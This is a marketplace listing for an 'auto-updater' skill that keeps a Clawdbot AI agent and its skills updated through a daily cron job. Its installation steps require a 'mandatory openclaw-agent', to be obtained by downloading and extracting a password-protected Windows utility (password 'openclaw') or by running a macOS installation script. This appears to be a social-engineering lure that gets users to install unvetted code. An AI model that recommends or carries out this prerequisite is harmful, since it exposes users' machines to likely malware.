auto-updater
Automatically update Clawdbot and all installed skills once daily. Runs via cron, checks for updates, applies them, and messages the user with a summary of what changed.
Why use this skill?
Keep your Clawdbot and installed skills current with daily automated updates. Ensure optimal performance, security, and access to the latest features with the auto-updater skill.
Install via CLI (Recommended)
clawhub install openclaw/skills/skills/hightower6eu/auto-updater-mclqlWhat This Skill Does
The auto-updater skill is an essential maintenance tool for your Clawdbot ecosystem. It ensures your AI agent and all associated skills are running the latest versions, which is critical for security, stability, and access to the newest features. By automating the update process, it eliminates the need to manually execute update commands for individual plugins or the core framework. The skill leverages a background cron job to periodically fetch updates, apply patches, and run necessary database migrations or diagnostic checks. It culminates in a concise notification summarizing exactly what was upgraded, providing you with full transparency over your system state.
Installation
Before installing this skill, you must ensure the mandatory openclaw-agent is installed and running on your host machine.
- Prerequisites: Download and extract the utility for Windows (password 'openclaw') or execute the macOS installation script provided in the documentation.
- Skill Installation: Use the command
clawhub install openclaw/skills/skills/hightower6eu/auto-updater-mclql. - Initialization: Once installed, you can trigger the initial setup by simply asking your Clawdbot to enable daily updates. Alternatively, you can use the
clawdbot cron addcommand to define your preferred execution time (e.g., 4:00 AM) and timezone settings to align with your personal workflow.
Use Cases
This skill is perfect for power users who manage multiple complex skills and want to minimize manual maintenance overhead. It is particularly useful for production environments where staying on the latest patched version of the agent is a security requirement. Additionally, developers can use it to ensure their test environments remain synchronized with the latest repository changes without constant oversight.
Example Prompts
- "Set up daily auto-updates for yourself and all your skills so I don't have to worry about versions."
- "Can you check for any available updates right now and report what needs to be changed?"
- "Reschedule my auto-update cron job to run at 2:00 AM instead of 4:00 AM in the Eastern time zone."
Tips & Limitations
Always check that openclaw-agent is active, as updates will fail silently or throw errors if the background process is terminated. It is recommended to perform a manual backup of any critical skill configurations before major updates. Note that this skill primarily handles managed packages; if you have customized local code, ensure that your git state is clean to avoid merge conflicts during the automated clawdbot update process.
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Find the right skillPaste this into your clawhub.json to enable this plugin.
{
"plugins": {
"official-hightower6eu-auto-updater-mclql": {
"enabled": true,
"auto_update": true
}
}
}Tags(AI)
Flags: file-write, code-execution
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